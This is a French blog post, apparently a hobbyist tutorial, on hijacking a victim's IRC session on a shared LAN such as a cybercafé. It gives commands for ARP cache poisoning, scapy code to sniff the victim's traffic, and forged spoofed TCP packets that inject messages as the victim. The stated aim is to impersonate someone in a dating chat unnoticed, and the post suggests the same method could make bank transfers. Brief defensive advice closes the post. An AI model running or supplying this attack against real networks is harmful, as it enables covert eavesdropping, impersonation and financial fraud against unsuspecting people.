TCP Session HiJackinG (Exploit n°2)

Publié le par Satellite

Nous allons maintenant apprendre à voler la session d'une machine Pigeon (192.168.1.10) connectée sur son port 50000 à Server (1.1.1.1) sur son port 6667 (irc pour les savants) à l'aide de ma machine, dénomée Spy (192.168.1.11). De plus, la connection de Pigeon transite par un routeur (192.168.1.1)

Situation : au cybercafé, de nombreuses personnes jouent  en ligne ou encore cherchent l'Ame Soeur sur des sites spécialisés. Nous allons tenter d'usurper l'identité de quelqu'un connecté sur un site de rencontre via le protocole IRC (Internet Relay Chat, chat en ligne sur internet), et nous faire passer pour lui sans que son interlocuteur ne s'en rende compte, et ce, uniquement à l'aide d'outils python. Voici en exclusivité, la toute puissance du Man in The Middle

Ne pas oublier d'activer le routage sur la machine attaquante (sinon le transfert des paquets MitM ne sera pas effectué et l'attaque sera vouée à l'échec).

Nous sommes connectés en réseau local avec Pigeon, nous allons donc utiliser une corruption du cache ARP pour détourner le flux de comunication entre 1.1.1.1 et Pigeon. C'est une habitude maintenant :

sat@ubuntu:~$ sudo python arp.py 192.168.1.10 192.168.1.1

Si le routage est bien activé, les paquets doivent a present transiter par notre machine. Il est desormais possible de suivre la conversation entre Pigeon et son interlocuteur à l'aide de Wireshark, ou tout simplement de la commande sniff() de scapy:

>>> from scapy.all import *
>>> while 1:
...            a = sniff(count = 1, filter = 'tcp and host 192.168.1.10')
...            try:
...                      print str(a[Raw])
...            except:
...                       pass



Bon, supposons qu'on ait récolté assez d'informations pour nous faire passer pour Pigeon, nous allons subtiliser sa connection internet en nous faisant passer pour lui. C'est a dire, les paquets que nous enverrons à son interlocuteur auront la même IP source.
Supposons que le pseudo IRC de l'interlocuteur soit JolieFille. Pour expedier un message privé sous IRC, la syntaxe du message (Raw) doit être :

PRIVMSG JolieFille :mon_message \r\n

Afin de me faire passer pour Pigeon, je forge donc un paquet dans lequel, comme a notre habitude, je spoof l'IP de Pigeon (ce qui ne changera rien, car le routeur me transmettra les réponses, son cache ARP faisant coincider l'adresse IP de Pigeon et mon adresse MAC). Le paquet aura donc cette forme (je décompose les étapes pour faciliter la compréhension)


>>> pIP = IP(dst = '1.1.1.1', src = '192.168.1.10)  # On spoof l'IP de Pigeon
>>> pTCP = pIP/TCP(sport = 50000,dport = 6667) #On indique les ports sources et de destination et on fait attention à bien indiquer comme port source, le port effectivement utilisé par Pigeon précedemment
>>>pRaw = pTCP/Raw('PRIVMSG JolieFille :Bonjour Toi ;-) \r\n') #On rajoute notre message
>>>send(pRaw) #On envoie le tout
Sent 1 packets.



Une fois le paquet envoyé, on a plus qu'a attendre la réponse, le paquet etant automatiquement redirigé vers nous puis sniffé, par nos deux autres scripts qui s'executent. Ainsi, nous pouvons donc usurper très facilement l'identité de quelqu'un si nous sommes dans le même réseau local que lui. J'ai pris l'exemple du cybercafé. Supposons que nous soyons dans le réseau d'une grande entreprise. L'espionnage serait vraiment aisé.

Note : Cette attaque est dévastatrice car la victime ne peut pas savoir qu'elle est écoutée. Contrairement à mon exploit précedent, je ne suis pas obligé de déconnecter la cible. Dans mon exemple, je peux injecter des messages au beau millieu de sa conversation. De la même manière, si il etait sur le site de sa banque, je pourais réaliser des virements pendant qu'il consulte ses comptes sans qu'il ne s'en apperçoive. MitM represente de reels dangers.

Il existe des moyens de sécurité facile a mettre en oeuvre pour empecher ce type d'attaque. Celui qui s'impose de lui même consiste en la mise en place de table ARP statiques. Ainsi, les requêtes empoisonnant le reseau ne seront pas traitées. Cependant, cette sécurité est difficile à gerer pour des réseaux de taille moyenne.
Une autre possibilité consiste en la mise en place d'un routeur intelligent détectant les requêtes ARP duppliquées (Comme wireshark le fait). Les requêtes ARP etant envoyées par Broadcast, n'importe quel ordinateur du réseau peut les lire et donc, les étudier.
La plus part des positions MitM sont prises par ARP Cache Poisoning, il est donc nécessaire, si vous avez un réseau public (café, cybercafé,hotspot) de sécuriser les machines de votre LAN.

Publié dans Python

Pour être informé des derniers articles, inscrivez vous :
Commenter cet article